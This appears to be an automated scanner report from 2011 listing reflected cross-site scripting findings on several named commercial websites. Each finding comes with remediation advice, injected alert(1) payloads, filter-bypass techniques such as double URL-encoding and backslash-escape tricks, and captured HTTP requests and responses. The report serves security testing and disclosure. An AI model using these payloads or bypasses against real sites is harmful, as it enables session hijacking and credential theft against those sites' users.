Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the aid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ee7e8'-alert(1)-'c7efbc052f0 was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 20:02:13 GMT Server: Apache/2.2.9 Expires: Mon, 03 Oct 2011 20:32:13 GMT Last-Modified: Mon, 03 Oct 2011 20:02:13 GMT Content-Length: 230 Connection: close Content-Type: text/html
var dgt_script = document.createElement('SCRIPT'); dgt_script.src = document.location.protocol + '//digr.netmng.com/?aid=244ee7e8'-alert(1)-'c7efbc052f0&tax=jrny'; document.getElementsByTagName('head')[0].appendChild(dgt_script);
1.2. http://display.digitalriver.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://display.digitalriver.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aca66'-alert(1)-'9386163b3ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the tax request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f87e'-alert(1)-'b68a4c7359b was submitted in the tax parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 674fa<script>alert(1)</script>6f4b3b09bb7 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload a5dfc<img%20src%3da%20onerror%3dalert(1)>2e3bb5bed67 was submitted in the mbox parameter. This input was echoed as a5dfc<img src=a onerror=alert(1)>2e3bb5bed67 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the mboxId request parameter is copied into the HTML document as plain text between tags. The payload 898f4<script>alert(1)</script>81a6228c395 was submitted in the mboxId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload b05d9%253cscript%253ealert%25281%2529%253c%252fscript%253ef51dd29202e was submitted in the REST URL parameter 4. This input was echoed as b05d9<script>alert(1)</script>f51dd29202e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 29360%253cscript%253ealert%25281%2529%253c%252fscript%253ec5d404e0e7 was submitted in the REST URL parameter 4. This input was echoed as 29360<script>alert(1)</script>c5d404e0e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c4192%253cscript%253ealert%25281%2529%253c%252fscript%253e38c130dc4ec was submitted in the REST URL parameter 4. This input was echoed as c4192<script>alert(1)</script>38c130dc4ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c6393%253cscript%253ealert%25281%2529%253c%252fscript%253e7dace5d5f19 was submitted in the REST URL parameter 4. This input was echoed as c6393<script>alert(1)</script>7dace5d5f19 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload af64a%253cscript%253ealert%25281%2529%253c%252fscript%253e4038a418d9e was submitted in the REST URL parameter 4. This input was echoed as af64a<script>alert(1)</script>4038a418d9e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload f01e5%253cscript%253ealert%25281%2529%253c%252fscript%253eb054ae797c1 was submitted in the REST URL parameter 4. This input was echoed as f01e5<script>alert(1)</script>b054ae797c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a342f%253cscript%253ealert%25281%2529%253c%252fscript%253e8dc35401c8a was submitted in the REST URL parameter 4. This input was echoed as a342f<script>alert(1)</script>8dc35401c8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c4240%253cscript%253ealert%25281%2529%253c%252fscript%253ebd830fac3e6 was submitted in the REST URL parameter 4. This input was echoed as c4240<script>alert(1)</script>bd830fac3e6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 63cf8%253cscript%253ealert%25281%2529%253c%252fscript%253e3d0d1c1d791 was submitted in the REST URL parameter 4. This input was echoed as 63cf8<script>alert(1)</script>3d0d1c1d791 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 7e166%253cscript%253ealert%25281%2529%253c%252fscript%253ef8a4a5e1112 was submitted in the REST URL parameter 4. This input was echoed as 7e166<script>alert(1)</script>f8a4a5e1112 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload ecf21<script>alert(1)</script>94c0bacfe0a was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the q request parameter is copied into the HTML document as text between TITLE tags. The payload bb81b</title><script>alert(1)</script>996cd7acc25 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91147"><script>alert(1)</script>75923144cb3 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the p request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92a7b"%3balert(1)//97e7ce188ef was submitted in the p parameter. This input was echoed as 92a7b";alert(1)//97e7ce188ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: MTC=TC-194592a7b";alert(1)//97e7ce188ef; domain=.maplesoft.com; path=/ X-Powered-By: ASP.NET Date: Mon, 03 Oct 2011 20:07:58 GMT Content-Length: 94772
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>New Features in Maple 15 ... Technical Computing Software for Engineers, Mathematicians, Scientists, Teachers ...[SNIP]... nel on the next lines. */ s.pageName="Maple:New:Home" s.server="North America" s.channel="Maple:New" s.pageType="" s.prop3="english" s.prop13="Non-Member" /* Conversion Variables */ s.campaign="TC-194592a7b";alert(1)//97e7ce188ef" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.currencyCode="" s.eVar13="Non-Member" s.eVar18="Maple" s.hier1="Products|Maple 15" mboxLoadSCPlugin(s); /************* DO NOT ALTER ANY ...[SNIP]...
1.21. http://www.novedge.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.novedge.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 86ddf'><script>alert(1)</script>c860ba290c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?86ddf'><script>alert(1)</script>c860ba290c6=1 HTTP/1.1 Host: www.novedge.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 20:01:42 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=100" > <base href='http://www.nove ...[SNIP]... <a class='MediumLink' style='font:normal 0.9em tahoma;color:#000;' href='/default.asp?86ddf'><script>alert(1)</script>c860ba290c6=1'> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9bc5b'%20a%3db%20c47aa2464be was submitted in the REST URL parameter 2. This input was echoed as 9bc5b' a=b c47aa2464be in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 20:05:51 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=100" > <base href='http://www.nove ...[SNIP]... <a class='MediumLink' style='font:normal 0.9em tahoma;color:#000;' href='page_bookmark.asp?SKU=50829bc5b' a=b c47aa2464be'> ...[SNIP]...
1.23. http://www.novedge.com/products/5082 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.novedge.com
Path:
/products/5082
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d42d7'><script>alert(1)</script>9eb5bd3fac6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 20:05:46 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=100" > <base href='http://www.nove ...[SNIP]... <a class='MediumLink' style='font:normal 0.9em tahoma;color:#000;' href='page_bookmark.asp?d42d7'><script>alert(1)</script>9eb5bd3fac6=1&SKU=5082'> ...[SNIP]...
1.24. http://www.nxrev.com/content-0 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.nxrev.com
Path:
/content-0
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41cf9"><script>alert(1)</script>c6bea8865ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 41cf9\"><script>alert(1)</script>c6bea8865ab in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equi ...[SNIP]... <a href="http://www.nxrev.com/content-0?q=node/179&41cf9\"><script>alert(1)</script>c6bea8865ab=1&svpage=overview"> ...[SNIP]...
1.25. http://www.nxrev.com/content-0 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.nxrev.com
Path:
/content-0
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 52341</script><script>alert(1)</script>b8791619bc7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into an HTML comment. The payload efdc8--><script>alert(1)</script>b736844fc35 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:06:13 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=2A388610E8DC61DF60BAB9D35586AA44.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 43374 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:41:38 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /appserverefdc8--><script>alert(1)</script>b736844fc35/auth/authenticate.jsp--> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 389fc"><script>alert(1)</script>c47fd1f535d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into an HTML comment. The payload a3018--><script>alert(1)</script>1d5dd36019e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:06:05 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=9E5F844BA3ADEA0549C3DCA5EEE7AE2A.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44117 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:41:30 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /appservera3018--><script>alert(1)</script>1d5dd36019e/search/results.jsp--> ...[SNIP]...
1.29. http://www.ptc.com/appserver/search/results.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ptc.com
Path:
/appserver/search/results.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96376"><script>alert(1)</script>a17eafe0063 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 6c758<script>alert(1)</script>7bfa5113c66 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6727d\'%3balert(1)//f80b1e7de25 was submitted in the q parameter. This input was echoed as 6727d\\';alert(1)//f80b1e7de25 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
The value of REST URL parameter 1 is copied into an HTML comment. The payload 3dc21--><script>alert(1)</script>677d085690c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:07:26 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=CC488059AF4EADC77B936E45650CC794.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44508 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:42:51 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /common3dc21--><script>alert(1)</script>677d085690c/account/index.htm--> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload 75071--><script>alert(1)</script>128394af0f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:07:30 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=F4255A4BC4E4A08F5711BF2A61733B9E.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44508 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:42:55 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /common/account75071--><script>alert(1)</script>128394af0f7/index.htm--> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 39e9c--><script>alert(1)</script>ec479487b15 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:07:33 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=2F9EE191836985A4CF788A4A8BAF062B.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44508 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:42:59 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /common/account/index.htm39e9c--><script>alert(1)</script>ec479487b15--> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload 4ccd3--><script>alert(1)</script>3b10ecc7201 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:02:36 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 43362 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:38:01 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /favicon.ico4ccd3--><script>alert(1)</script>3b10ecc7201--> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload 2b78c--><script>alert(1)</script>5521b9cc017 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /products2b78c--><script>alert(1)</script>5521b9cc017/mathcad/ HTTP/1.1 Host: www.ptc.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=control+systems#pq=control+systems&hl=en&cp=5&gs_id=j&xhr=t&q=mathcad&qe=bWF0aGM&qesig=9TbiipYEAZC7WKi55YxjrA&pkc=AFgZ2tmlRroTZvj-GFJ1NJj2q1NtSwFvzq-YtVc3ZLoxwmQ5jKvDaOxkolP84m3mPcjigrxMpDIDTrPXBn6AXtc6rAwuw7c2Bg&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=mathc&aq=0&aqi=g3g-s1&aql=&gs_sm=&gs_upl=&fp=1&biw=1630&bih=1004&bav=on.2,or.r_gc.r_pw.,cf.osb&cad=b Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:02:16 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 43363 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:37:41 GMT;path=/
